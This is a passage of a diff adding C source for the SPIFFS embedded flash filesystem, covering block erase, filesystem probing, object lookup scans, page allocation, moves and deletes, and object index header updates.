SPIFFS_CFG_LOG_BLOCK_SZ(fs); + if (cur_block >= fs->block_count) { + if (flags & SPIFFS_VIS_NO_WRAP) { + return SPIFFS_VIS_END; + } else { + // block wrap + cur_block = 0; + cur_block_addr = 0; + } + } + } // per block + + SPIFFS_CHECK_RES(res); + + return SPIFFS_VIS_END; +} + +#if !SPIFFS_READ_ONLY +s32_t spiffs_erase_block( + spiffs *fs, + spiffs_block_ix bix) { + s32_t res; + u32_t addr = SPIFFS_BLOCK_TO_PADDR(fs, bix); + s32_t size = SPIFFS_CFG_LOG_BLOCK_SZ(fs); + + // here we ignore res, just try erasing the block + while (size > 0) { + SPIFFS_DBG("erase "_SPIPRIad":"_SPIPRIi"\n", addr, SPIFFS_CFG_PHYS_ERASE_SZ(fs)); + SPIFFS_HAL_ERASE(fs, addr, SPIFFS_CFG_PHYS_ERASE_SZ(fs)); + + addr += SPIFFS_CFG_PHYS_ERASE_SZ(fs); + size -= SPIFFS_CFG_PHYS_ERASE_SZ(fs); + } + fs->free_blocks++; + + // register erase count for this block + res = _spiffs_wr(fs, SPIFFS_OP_C_WRTHRU | SPIFFS_OP_T_OBJ_LU2, 0, + SPIFFS_ERASE_COUNT_PADDR(fs, bix), + sizeof(spiffs_obj_id), (u8_t *)&fs->max_erase_count); + SPIFFS_CHECK_RES(res); + +#if SPIFFS_USE_MAGIC + // finally, write magic + spiffs_obj_id magic = SPIFFS_MAGIC(fs, bix); + res = _spiffs_wr(fs, SPIFFS_OP_C_WRTHRU | SPIFFS_OP_T_OBJ_LU2, 0, + SPIFFS_MAGIC_PADDR(fs, bix), + sizeof(spiffs_obj_id), (u8_t *)&magic); + SPIFFS_CHECK_RES(res); +#endif + + fs->max_erase_count++; + if (fs->max_erase_count == SPIFFS_OBJ_ID_IX_FLAG) { + fs->max_erase_count = 0; + } + + return res; +} +#endif // !SPIFFS_READ_ONLY + +#if SPIFFS_USE_MAGIC && SPIFFS_USE_MAGIC_LENGTH && SPIFFS_SINGLETON==0 +s32_t spiffs_probe( + spiffs_config *cfg) { + s32_t res; + u32_t paddr; + spiffs dummy_fs; // create a dummy fs struct just to be able to use macros + _SPIFFS_MEMCPY(&dummy_fs.cfg, cfg, sizeof(spiffs_config)); + dummy_fs.block_count = 0; + + // Read three magics, as one block may be in an aborted erase state. + // At least two of these must contain magic and be in decreasing order. + spiffs_obj_id magic[3]; + spiffs_obj_id bix_count[3]; + + spiffs_block_ix bix; + for (bix = 0; bix < 3; bix++) { + paddr = SPIFFS_MAGIC_PADDR(&dummy_fs, bix); +#if SPIFFS_HAL_CALLBACK_EXTRA + // not any proper fs to report here, so callback with null + // (cross fingers that no-one gets angry) + res = cfg->hal_read_f((void *)0, paddr, sizeof(spiffs_obj_id), (u8_t *)&magic[bix]); +#else + res = cfg->hal_read_f(paddr, sizeof(spiffs_obj_id), (u8_t *)&magic[bix]); +#endif + bix_count[bix] = magic[bix] ^ SPIFFS_MAGIC(&dummy_fs, 0); + SPIFFS_CHECK_RES(res); + } + + // check that we have sane number of blocks + if (bix_count[0] < 3) return SPIFFS_ERR_PROBE_TOO_FEW_BLOCKS; + // check that the order is correct, take aborted erases in calculation + // first block aborted erase + if (magic[0] == (spiffs_obj_id)(-1) && bix_count[1] - bix_count[2] == 1) { + return (bix_count[1] + 1) * cfg->log_block_size; + } + // second block aborted erase + if (magic[1] == (spiffs_obj_id)(-1) && bix_count[0] - bix_count[2] == 2) { + return bix_count[0] * cfg->log_block_size; + } + // third block aborted erase + if (magic[2] == (spiffs_obj_id)(-1) && bix_count[0] - bix_count[1] == 1) { + return bix_count[0] * cfg->log_block_size; + } + // no block has aborted erase + if (bix_count[0] - bix_count[1] == 1 && bix_count[1] - bix_count[2] == 1) { + return bix_count[0] * cfg->log_block_size; + } + + return SPIFFS_ERR_PROBE_NOT_A_FS; +} +#endif // SPIFFS_USE_MAGIC && SPIFFS_USE_MAGIC_LENGTH && SPIFFS_SINGLETON==0 + + +static s32_t spiffs_obj_lu_scan_v( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_block_ix bix, + int ix_entry, + const void *user_const_p, + void *user_var_p) { + (void)bix; + (void)user_const_p; + (void)user_var_p; + if (obj_id == SPIFFS_OBJ_ID_FREE) { + if (ix_entry == 0) { + fs->free_blocks++; + // todo optimize further, return SPIFFS_NEXT_BLOCK + } + } else if (obj_id == SPIFFS_OBJ_ID_DELETED) { + fs->stats_p_deleted++; + } else { + fs->stats_p_allocated++; + } + + return SPIFFS_VIS_COUNTINUE; +} + + +// Scans thru all obj lu and counts free, deleted and used pages +// Find the maximum block erase count +// Checks magic if enabled +s32_t spiffs_obj_lu_scan( + spiffs *fs) { + s32_t res; + spiffs_block_ix bix; + int entry; +#if SPIFFS_USE_MAGIC + spiffs_block_ix unerased_bix = (spiffs_block_ix) - 1; +#endif + + // find out erase count + // if enabled, check magic + bix = 0; + spiffs_obj_id erase_count_final; + spiffs_obj_id erase_count_min = SPIFFS_OBJ_ID_FREE; + spiffs_obj_id erase_count_max = 0; + while (bix < fs->block_count) { +#if SPIFFS_USE_MAGIC + spiffs_obj_id magic; + res = _spiffs_rd(fs, + SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_MAGIC_PADDR(fs, bix), + sizeof(spiffs_obj_id), (u8_t *)&magic); + + SPIFFS_CHECK_RES(res); + if (magic != SPIFFS_MAGIC(fs, bix)) { + if (unerased_bix == (spiffs_block_ix) - 1) { + // allow one unerased block as it might be powered down during an erase + unerased_bix = bix; + } else { + // more than one unerased block, bail out + SPIFFS_CHECK_RES(SPIFFS_ERR_NOT_A_FS); + } + } +#endif + spiffs_obj_id erase_count; + res = _spiffs_rd(fs, + SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_ERASE_COUNT_PADDR(fs, bix), + sizeof(spiffs_obj_id), (u8_t *)&erase_count); + SPIFFS_CHECK_RES(res); + if (erase_count != SPIFFS_OBJ_ID_FREE) { + erase_count_min = MIN(erase_count_min, erase_count); + erase_count_max = MAX(erase_count_max, erase_count); + } + bix++; + } + + if (erase_count_min == 0 && erase_count_max == SPIFFS_OBJ_ID_FREE) { + // clean system, set counter to zero + erase_count_final = 0; + } else if (erase_count_max - erase_count_min > (SPIFFS_OBJ_ID_FREE) / 2) { + // wrap, take min + erase_count_final = erase_count_min + 1; + } else { + erase_count_final = erase_count_max + 1; + } + + fs->max_erase_count = erase_count_final; + +#if SPIFFS_USE_MAGIC + if (unerased_bix != (spiffs_block_ix) - 1) { + // found one unerased block, remedy + SPIFFS_DBG("mount: erase block "_SPIPRIbl"\n", bix); +#if SPIFFS_READ_ONLY + res = SPIFFS_ERR_RO_ABORTED_OPERATION; +#else + res = spiffs_erase_block(fs, unerased_bix); +#endif // SPIFFS_READ_ONLY + SPIFFS_CHECK_RES(res); + } +#endif + + // count blocks + + fs->free_blocks = 0; + fs->stats_p_allocated = 0; + fs->stats_p_deleted = 0; + + res = spiffs_obj_lu_find_entry_visitor(fs, + 0, + 0, + 0, + 0, + spiffs_obj_lu_scan_v, + 0, + 0, + &bix, + &entry); + + if (res == SPIFFS_VIS_END) { + res = SPIFFS_OK; + } + + SPIFFS_CHECK_RES(res); + + return res; +} + +#if !SPIFFS_READ_ONLY +// Find free object lookup entry +// Iterate over object lookup pages in each block until a free object id entry is found +s32_t spiffs_obj_lu_find_free( + spiffs *fs, + spiffs_block_ix starting_block, + int starting_lu_entry, + spiffs_block_ix *block_ix, + int *lu_entry) { + s32_t res; + if (!fs->cleaning && fs->free_blocks < 2) { + res = spiffs_gc_quick(fs, 0); + if (res == SPIFFS_ERR_NO_DELETED_BLOCKS) { + res = SPIFFS_OK; + } + SPIFFS_CHECK_RES(res); + if (fs->free_blocks < 2) { + return SPIFFS_ERR_FULL; + } + } + res = spiffs_obj_lu_find_id(fs, starting_block, starting_lu_entry, + SPIFFS_OBJ_ID_FREE, block_ix, lu_entry); + if (res == SPIFFS_OK) { + fs->free_cursor_block_ix = *block_ix; + fs->free_cursor_obj_lu_entry = (*lu_entry) + 1; + if (*lu_entry == 0) { + fs->free_blocks--; + } + } + if (res == SPIFFS_ERR_FULL) { + SPIFFS_DBGF("fs full\n"); + } + + return res; +} +#endif // !SPIFFS_READ_ONLY + +// Find object lookup entry containing given id +// Iterate over object lookup pages in each block until a given object id entry is found +s32_t spiffs_obj_lu_find_id( + spiffs *fs, + spiffs_block_ix starting_block, + int starting_lu_entry, + spiffs_obj_id obj_id, + spiffs_block_ix *block_ix, + int *lu_entry) { + s32_t res = spiffs_obj_lu_find_entry_visitor( + fs, starting_block, starting_lu_entry, SPIFFS_VIS_CHECK_ID, obj_id, 0, 0, 0, block_ix, lu_entry); + if (res == SPIFFS_VIS_END) { + res = SPIFFS_ERR_NOT_FOUND; + } + return res; +} + + +static s32_t spiffs_obj_lu_find_id_and_span_v( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_block_ix bix, + int ix_entry, + const void *user_const_p, + void *user_var_p) { + s32_t res; + spiffs_page_header ph; + spiffs_page_ix pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, ix_entry); + res = _spiffs_rd(fs, 0, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + SPIFFS_PAGE_TO_PADDR(fs, pix), sizeof(spiffs_page_header), (u8_t *)&ph); + SPIFFS_CHECK_RES(res); + if (ph.obj_id == obj_id && + ph.span_ix == *((spiffs_span_ix *)user_var_p) && + (ph.flags & (SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_USED)) == SPIFFS_PH_FLAG_DELET && + !((obj_id & SPIFFS_OBJ_ID_IX_FLAG) && (ph.flags & SPIFFS_PH_FLAG_IXDELE) == 0 && ph.span_ix == 0) && + (user_const_p == 0 || *((const spiffs_page_ix *)user_const_p) != pix)) { + return SPIFFS_OK; + } else { + return SPIFFS_VIS_COUNTINUE; + } +} + +// Find object lookup entry containing given id and span index +// Iterate over object lookup pages in each block until a given object id entry is found +s32_t spiffs_obj_lu_find_id_and_span( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_span_ix spix, + spiffs_page_ix exclusion_pix, + spiffs_page_ix *pix) { + s32_t res; + spiffs_block_ix bix; + int entry; + + res = spiffs_obj_lu_find_entry_visitor(fs, + fs->cursor_block_ix, + fs->cursor_obj_lu_entry, + SPIFFS_VIS_CHECK_ID, + obj_id, + spiffs_obj_lu_find_id_and_span_v, + exclusion_pix ? &exclusion_pix : 0, + &spix, + &bix, + &entry); + + if (res == SPIFFS_VIS_END) { + res = SPIFFS_ERR_NOT_FOUND; + } + + SPIFFS_CHECK_RES(res); + + if (pix) { + *pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, entry); + } + + fs->cursor_block_ix = bix; + fs->cursor_obj_lu_entry = entry; + + return res; +} + +// Find object lookup entry containing given id and span index in page headers only +// Iterate over object lookup pages in each block until a given object id entry is found +s32_t spiffs_obj_lu_find_id_and_span_by_phdr( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_span_ix spix, + spiffs_page_ix exclusion_pix, + spiffs_page_ix *pix) { + s32_t res; + spiffs_block_ix bix; + int entry; + + res = spiffs_obj_lu_find_entry_visitor(fs, + fs->cursor_block_ix, + fs->cursor_obj_lu_entry, + SPIFFS_VIS_CHECK_PH, + obj_id, + spiffs_obj_lu_find_id_and_span_v, + exclusion_pix ? &exclusion_pix : 0, + &spix, + &bix, + &entry); + + if (res == SPIFFS_VIS_END) { + res = SPIFFS_ERR_NOT_FOUND; + } + + SPIFFS_CHECK_RES(res); + + if (pix) { + *pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, entry); + } + + fs->cursor_block_ix = bix; + fs->cursor_obj_lu_entry = entry; + + return res; +} + +#if SPIFFS_IX_MAP + +// update index map of given fd with given object index data +static void spiffs_update_ix_map(spiffs *fs, + spiffs_fd *fd, spiffs_span_ix objix_spix, spiffs_page_object_ix *objix) { +#if SPIFFS_SINGLETON + (void)fs; +#endif + spiffs_ix_map *map = fd->ix_map; + spiffs_span_ix map_objix_start_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, map->start_spix); + spiffs_span_ix map_objix_end_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, map->end_spix); + + // check if updated ix is within map range + if (objix_spix < map_objix_start_spix || objix_spix > map_objix_end_spix) { + return; + } + + // update memory mapped page index buffer to new pages + + // get range of updated object index map data span indices + spiffs_span_ix objix_data_spix_start = + SPIFFS_DATA_SPAN_IX_FOR_OBJ_IX_SPAN_IX(fs, objix_spix); + spiffs_span_ix objix_data_spix_end = objix_data_spix_start + + (objix_spix == 0 ? SPIFFS_OBJ_HDR_IX_LEN(fs) : SPIFFS_OBJ_IX_LEN(fs)); + + // calc union of object index range and index map range array + spiffs_span_ix map_spix = MAX(map->start_spix, objix_data_spix_start); + spiffs_span_ix map_spix_end = MIN(map->end_spix + 1, objix_data_spix_end); + + while (map_spix < map_spix_end) { + spiffs_page_ix objix_data_pix; + if (objix_spix == 0) { + // get data page from object index header page + objix_data_pix = ((spiffs_page_ix *)((u8_t *)objix + sizeof(spiffs_page_object_ix_header)))[map_spix]; + } else { + // get data page from object index page + objix_data_pix = ((spiffs_page_ix *)((u8_t *)objix + sizeof(spiffs_page_object_ix)))[SPIFFS_OBJ_IX_ENTRY(fs, map_spix)]; + } + + if (objix_data_pix == (spiffs_page_ix) - 1) { + // reached end of object, abort + break; + } + + map->map_buf[map_spix - map->start_spix] = objix_data_pix; + SPIFFS_DBG("map "_SPIPRIid":"_SPIPRIsp" ("_SPIPRIsp"--"_SPIPRIsp") objix.spix:"_SPIPRIsp" to pix "_SPIPRIpg"\n", + fd->obj_id, map_spix - map->start_spix, + map->start_spix, map->end_spix, + objix->p_hdr.span_ix, + objix_data_pix); + + map_spix++; + } +} + +typedef struct { + spiffs_fd *fd; + u32_t remaining_objix_pages_to_visit; + spiffs_span_ix map_objix_start_spix; + spiffs_span_ix map_objix_end_spix; +} spiffs_ix_map_populate_state; + +static s32_t spiffs_populate_ix_map_v( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_block_ix bix, + int ix_entry, + const void *user_const_p, + void *user_var_p) { + (void)user_const_p; + s32_t res; + spiffs_ix_map_populate_state *state = (spiffs_ix_map_populate_state *)user_var_p; + spiffs_page_ix pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, ix_entry); + + // load header to check it + spiffs_page_object_ix *objix = (spiffs_page_object_ix *)fs->work; + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, pix), sizeof(spiffs_page_object_ix), (u8_t *)objix); + SPIFFS_CHECK_RES(res); + SPIFFS_VALIDATE_OBJIX(objix->p_hdr, obj_id, objix->p_hdr.span_ix); + + // check if hdr is ok, and if objix range overlap with ix map range + if ((objix->p_hdr.flags & (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_IXDELE)) == + (SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_IXDELE) && + objix->p_hdr.span_ix >= state->map_objix_start_spix && + objix->p_hdr.span_ix <= state->map_objix_end_spix) { + // ok, load rest of object index + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_LU2 | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, pix) + sizeof(spiffs_page_object_ix), + SPIFFS_CFG_LOG_PAGE_SZ(fs) - sizeof(spiffs_page_object_ix), + (u8_t *)objix + sizeof(spiffs_page_object_ix)); + SPIFFS_CHECK_RES(res); + + spiffs_update_ix_map(fs, state->fd, objix->p_hdr.span_ix, objix); + + state->remaining_objix_pages_to_visit--; + SPIFFS_DBG("map "_SPIPRIid" ("_SPIPRIsp"--"_SPIPRIsp") remaining objix pages "_SPIPRIi"\n", + state->fd->obj_id, + state->fd->ix_map->start_spix, state->fd->ix_map->end_spix, + state->remaining_objix_pages_to_visit); + } + + if (res == SPIFFS_OK) { + res = state->remaining_objix_pages_to_visit ? SPIFFS_VIS_COUNTINUE : SPIFFS_VIS_END; + } + return res; +} + +// populates index map, from vector entry start to vector entry end, inclusive +s32_t spiffs_populate_ix_map(spiffs *fs, spiffs_fd *fd, u32_t vec_entry_start, u32_t vec_entry_end) { + s32_t res; + spiffs_ix_map *map = fd->ix_map; + spiffs_ix_map_populate_state state; + vec_entry_start = MIN((u32_t)(map->end_spix - map->start_spix), vec_entry_start); + vec_entry_end = MAX((u32_t)(map->end_spix - map->start_spix), vec_entry_end); + if (vec_entry_start > vec_entry_end) { + return SPIFFS_ERR_IX_MAP_BAD_RANGE; + } + state.map_objix_start_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, map->start_spix + vec_entry_start); + state.map_objix_end_spix = SPIFFS_OBJ_IX_ENTRY_SPAN_IX(fs, map->start_spix + vec_entry_end); + state.remaining_objix_pages_to_visit = + state.map_objix_end_spix - state.map_objix_start_spix + 1; + state.fd = fd; + + res = spiffs_obj_lu_find_entry_visitor( + fs, + SPIFFS_BLOCK_FOR_PAGE(fs, fd->objix_hdr_pix), + SPIFFS_OBJ_LOOKUP_ENTRY_FOR_PAGE(fs, fd->objix_hdr_pix), + SPIFFS_VIS_CHECK_ID, + fd->obj_id | SPIFFS_OBJ_ID_IX_FLAG, + spiffs_populate_ix_map_v, + 0, + &state, + 0, + 0); + + if (res == SPIFFS_VIS_END) { + res = SPIFFS_OK; + } + + return res; +} + +#endif + + +#if !SPIFFS_READ_ONLY +// Allocates a free defined page with given obj_id +// Occupies object lookup entry and page +// data may be NULL; where only page header is stored, len and page_offs is ignored +s32_t spiffs_page_allocate_data( + spiffs *fs, + spiffs_obj_id obj_id, + spiffs_page_header *ph, + u8_t *data, + u32_t len, + u32_t page_offs, + u8_t finalize, + spiffs_page_ix *pix) { + s32_t res = SPIFFS_OK; + spiffs_block_ix bix; + int entry; + + // find free entry + res = spiffs_obj_lu_find_free(fs, fs->free_cursor_block_ix, fs->free_cursor_obj_lu_entry, &bix, &entry); + SPIFFS_CHECK_RES(res); + + // occupy page in object lookup + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_UPDT, + 0, SPIFFS_BLOCK_TO_PADDR(fs, bix) + entry * sizeof(spiffs_obj_id), sizeof(spiffs_obj_id), (u8_t *)&obj_id); + SPIFFS_CHECK_RES(res); + + fs->stats_p_allocated++; + + // write page header + ph->flags &= ~SPIFFS_PH_FLAG_USED; + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + 0, SPIFFS_OBJ_LOOKUP_ENTRY_TO_PADDR(fs, bix, entry), sizeof(spiffs_page_header), (u8_t *)ph); + SPIFFS_CHECK_RES(res); + + // write page data + if (data) { + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + 0, SPIFFS_OBJ_LOOKUP_ENTRY_TO_PADDR(fs, bix, entry) + sizeof(spiffs_page_header) + page_offs, len, data); + SPIFFS_CHECK_RES(res); + } + + // finalize header if necessary + if (finalize && (ph->flags & SPIFFS_PH_FLAG_FINAL)) { + ph->flags &= ~SPIFFS_PH_FLAG_FINAL; + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + 0, SPIFFS_OBJ_LOOKUP_ENTRY_TO_PADDR(fs, bix, entry) + offsetof(spiffs_page_header, flags), + sizeof(u8_t), + (u8_t *)&ph->flags); + SPIFFS_CHECK_RES(res); + } + + // return written page + if (pix) { + *pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, entry); + } + + return res; +} +#endif // !SPIFFS_READ_ONLY + +#if !SPIFFS_READ_ONLY +// Moves a page from src to a free page and finalizes it. Updates page index. Page data is given in param page. +// If page data is null, provided header is used for metainfo and page data is physically copied. +s32_t spiffs_page_move( + spiffs *fs, + spiffs_file fh, + u8_t *page_data, + spiffs_obj_id obj_id, + spiffs_page_header *page_hdr, + spiffs_page_ix src_pix, + spiffs_page_ix *dst_pix) { + s32_t res; + u8_t was_final = 0; + spiffs_page_header *p_hdr; + spiffs_block_ix bix; + int entry; + spiffs_page_ix free_pix; + + // find free entry + res = spiffs_obj_lu_find_free(fs, fs->free_cursor_block_ix, fs->free_cursor_obj_lu_entry, &bix, &entry); + SPIFFS_CHECK_RES(res); + free_pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, entry); + + if (dst_pix) *dst_pix = free_pix; + + p_hdr = page_data ? (spiffs_page_header *)page_data : page_hdr; + if (page_data) { + // got page data + was_final = (p_hdr->flags & SPIFFS_PH_FLAG_FINAL) == 0; + // write unfinalized page + p_hdr->flags |= SPIFFS_PH_FLAG_FINAL; + p_hdr->flags &= ~SPIFFS_PH_FLAG_USED; + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + 0, SPIFFS_PAGE_TO_PADDR(fs, free_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), page_data); + } else { + // copy page data + res = spiffs_phys_cpy(fs, fh, SPIFFS_PAGE_TO_PADDR(fs, free_pix), SPIFFS_PAGE_TO_PADDR(fs, src_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs)); + } + SPIFFS_CHECK_RES(res); + + // mark entry in destination object lookup + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_UPDT, + 0, SPIFFS_BLOCK_TO_PADDR(fs, SPIFFS_BLOCK_FOR_PAGE(fs, free_pix)) + SPIFFS_OBJ_LOOKUP_ENTRY_FOR_PAGE(fs, free_pix) * sizeof(spiffs_page_ix), + sizeof(spiffs_obj_id), + (u8_t *)&obj_id); + SPIFFS_CHECK_RES(res); + + fs->stats_p_allocated++; + + if (was_final) { + // mark finalized in destination page + p_hdr->flags &= ~(SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_USED); + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + fh, + SPIFFS_PAGE_TO_PADDR(fs, free_pix) + offsetof(spiffs_page_header, flags), + sizeof(u8_t), + (u8_t *)&p_hdr->flags); + SPIFFS_CHECK_RES(res); + } + // mark source deleted + res = spiffs_page_delete(fs, src_pix); + return res; +} +#endif // !SPIFFS_READ_ONLY + +#if !SPIFFS_READ_ONLY +// Deletes a page and removes it from object lookup. +s32_t spiffs_page_delete( + spiffs *fs, + spiffs_page_ix pix) { + s32_t res; + // mark deleted entry in source object lookup + spiffs_obj_id d_obj_id = SPIFFS_OBJ_ID_DELETED; + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_DELE, + 0, + SPIFFS_BLOCK_TO_PADDR(fs, SPIFFS_BLOCK_FOR_PAGE(fs, pix)) + SPIFFS_OBJ_LOOKUP_ENTRY_FOR_PAGE(fs, pix) * sizeof(spiffs_page_ix), + sizeof(spiffs_obj_id), + (u8_t *)&d_obj_id); + SPIFFS_CHECK_RES(res); + + fs->stats_p_deleted++; + fs->stats_p_allocated--; + + // mark deleted in source page + u8_t flags = 0xff; +#if SPIFFS_NO_BLIND_WRITES + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_READ, + 0, SPIFFS_PAGE_TO_PADDR(fs, pix) + offsetof(spiffs_page_header, flags), + sizeof(flags), &flags); + SPIFFS_CHECK_RES(res); +#endif + flags &= ~(SPIFFS_PH_FLAG_DELET | SPIFFS_PH_FLAG_USED); + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_DELE, + 0, + SPIFFS_PAGE_TO_PADDR(fs, pix) + offsetof(spiffs_page_header, flags), + sizeof(flags), &flags); + + return res; +} +#endif // !SPIFFS_READ_ONLY + +#if !SPIFFS_READ_ONLY +// Create an object index header page with empty index and undefined length +s32_t spiffs_object_create( + spiffs *fs, + spiffs_obj_id obj_id, + const u8_t name[], + const u8_t meta[], + spiffs_obj_type type, + spiffs_page_ix *objix_hdr_pix) { + s32_t res = SPIFFS_OK; + spiffs_block_ix bix; + spiffs_page_object_ix_header oix_hdr; + int entry; + + res = spiffs_gc_check(fs, SPIFFS_DATA_PAGE_SIZE(fs)); + SPIFFS_CHECK_RES(res); + + obj_id |= SPIFFS_OBJ_ID_IX_FLAG; + + // find free entry + res = spiffs_obj_lu_find_free(fs, fs->free_cursor_block_ix, fs->free_cursor_obj_lu_entry, &bix, &entry); + SPIFFS_CHECK_RES(res); + SPIFFS_DBG("create: found free page @ "_SPIPRIpg" bix:"_SPIPRIbl" entry:"_SPIPRIsp"\n", (spiffs_page_ix)SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, entry), bix, entry); + + // occupy page in object lookup + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_LU | SPIFFS_OP_C_UPDT, + 0, SPIFFS_BLOCK_TO_PADDR(fs, bix) + entry * sizeof(spiffs_obj_id), sizeof(spiffs_obj_id), (u8_t *)&obj_id); + SPIFFS_CHECK_RES(res); + + fs->stats_p_allocated++; + + // write empty object index page + oix_hdr.p_hdr.obj_id = obj_id; + oix_hdr.p_hdr.span_ix = 0; + oix_hdr.p_hdr.flags = 0xff & ~(SPIFFS_PH_FLAG_FINAL | SPIFFS_PH_FLAG_INDEX | SPIFFS_PH_FLAG_USED); + oix_hdr.type = type; + oix_hdr.size = SPIFFS_UNDEFINED_LEN; // keep ones so we can update later without wasting this page + strncpy((char *)oix_hdr.name, (const char *)name, SPIFFS_OBJ_NAME_LEN - 1); +#if SPIFFS_OBJ_META_LEN + if (meta) { + _SPIFFS_MEMCPY(oix_hdr.meta, meta, SPIFFS_OBJ_META_LEN); + } else { + memset(oix_hdr.meta, 0xff, SPIFFS_OBJ_META_LEN); + } +#else + (void) meta; +#endif + + // update page + res = _spiffs_wr(fs, SPIFFS_OP_T_OBJ_DA | SPIFFS_OP_C_UPDT, + 0, SPIFFS_OBJ_LOOKUP_ENTRY_TO_PADDR(fs, bix, entry), sizeof(spiffs_page_object_ix_header), (u8_t *)&oix_hdr); + + SPIFFS_CHECK_RES(res); + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)&oix_hdr, + SPIFFS_EV_IX_NEW, obj_id, 0, SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, entry), SPIFFS_UNDEFINED_LEN); + + if (objix_hdr_pix) { + *objix_hdr_pix = SPIFFS_OBJ_LOOKUP_ENTRY_TO_PIX(fs, bix, entry); + } + + return res; +} +#endif // !SPIFFS_READ_ONLY + +#if !SPIFFS_READ_ONLY +// update object index header with any combination of name/size/index +// new_objix_hdr_data may be null, if so the object index header page is loaded +// name may be null, if so name is not changed +// size may be null, if so size is not changed +s32_t spiffs_object_update_index_hdr( + spiffs *fs, + spiffs_fd *fd, + spiffs_obj_id obj_id, + spiffs_page_ix objix_hdr_pix, + u8_t *new_objix_hdr_data, + const u8_t name[], + const u8_t meta[], + u32_t size, + spiffs_page_ix *new_pix) { + s32_t res = SPIFFS_OK; + spiffs_page_object_ix_header *objix_hdr; + spiffs_page_ix new_objix_hdr_pix; + + obj_id |= SPIFFS_OBJ_ID_IX_FLAG; + + if (new_objix_hdr_data) { + // object index header page already given to us, no need to load it + objix_hdr = (spiffs_page_object_ix_header *)new_objix_hdr_data; + } else { + // read object index header page + res = _spiffs_rd(fs, SPIFFS_OP_T_OBJ_IX | SPIFFS_OP_C_READ, + fd->file_nbr, SPIFFS_PAGE_TO_PADDR(fs, objix_hdr_pix), SPIFFS_CFG_LOG_PAGE_SZ(fs), fs->work); + SPIFFS_CHECK_RES(res); + objix_hdr = (spiffs_page_object_ix_header *)fs->work; + } + + SPIFFS_VALIDATE_OBJIX(objix_hdr->p_hdr, obj_id, 0); + + // change name + if (name) { + strncpy((char *)objix_hdr->name, (const char *)name, SPIFFS_OBJ_NAME_LEN - 1); + } +#if SPIFFS_OBJ_META_LEN + if (meta) { + _SPIFFS_MEMCPY(objix_hdr->meta, meta, SPIFFS_OBJ_META_LEN); + } +#else + (void) meta; +#endif + if (size) { + objix_hdr->size = size; + } + + // move and update page + res = spiffs_page_move(fs, fd == 0 ? 0 : fd->file_nbr, (u8_t *)objix_hdr, obj_id, 0, objix_hdr_pix, &new_objix_hdr_pix); + + if (res == SPIFFS_OK) { + if (new_pix) { + *new_pix = new_objix_hdr_pix; + } + // callback on object index update + spiffs_cb_object_event(fs, (spiffs_page_object_ix *)objix_hdr, + new_objix_hdr_data ? SPIFFS_EV_IX_UPD : SPIFFS_EV_IX_UPD_HDR, + obj_id, objix_hdr->p_hdr.span_ix, new_objix_hdr_pix, objix_hdr->size); + if (fd) fd->objix_hdr_pix = new_objix_hdr_pix; // if this is not in the registered cluster + } + + return res; +} +#endif // !SPIFFS_READ_ONLY + +void spiffs_cb_object_event( + spiffs *fs, + spiffs_page_object_ix *objix, + int ev, + spiffs_obj_id obj_id_raw, + spiffs_span_ix spix, + spiffs_page_ix new_pix, + u32_t new_size) { +#if SPIFFS_IX_MAP == 0 + (void)objix; +#endif + // update index caches in all file descriptors + spiffs_obj_id obj_id = obj_id_raw & ~SPIFFS_OBJ_ID_IX_FLAG; + u32_t i; + spiffs_fd *fds = (spiffs_fd *)fs->fd_space; + SPIFFS_DBG(" CALLBACK %s obj_id:"_SPIPRIid" spix:"_SPIPRIsp" npix:"_SPIPRIpg" 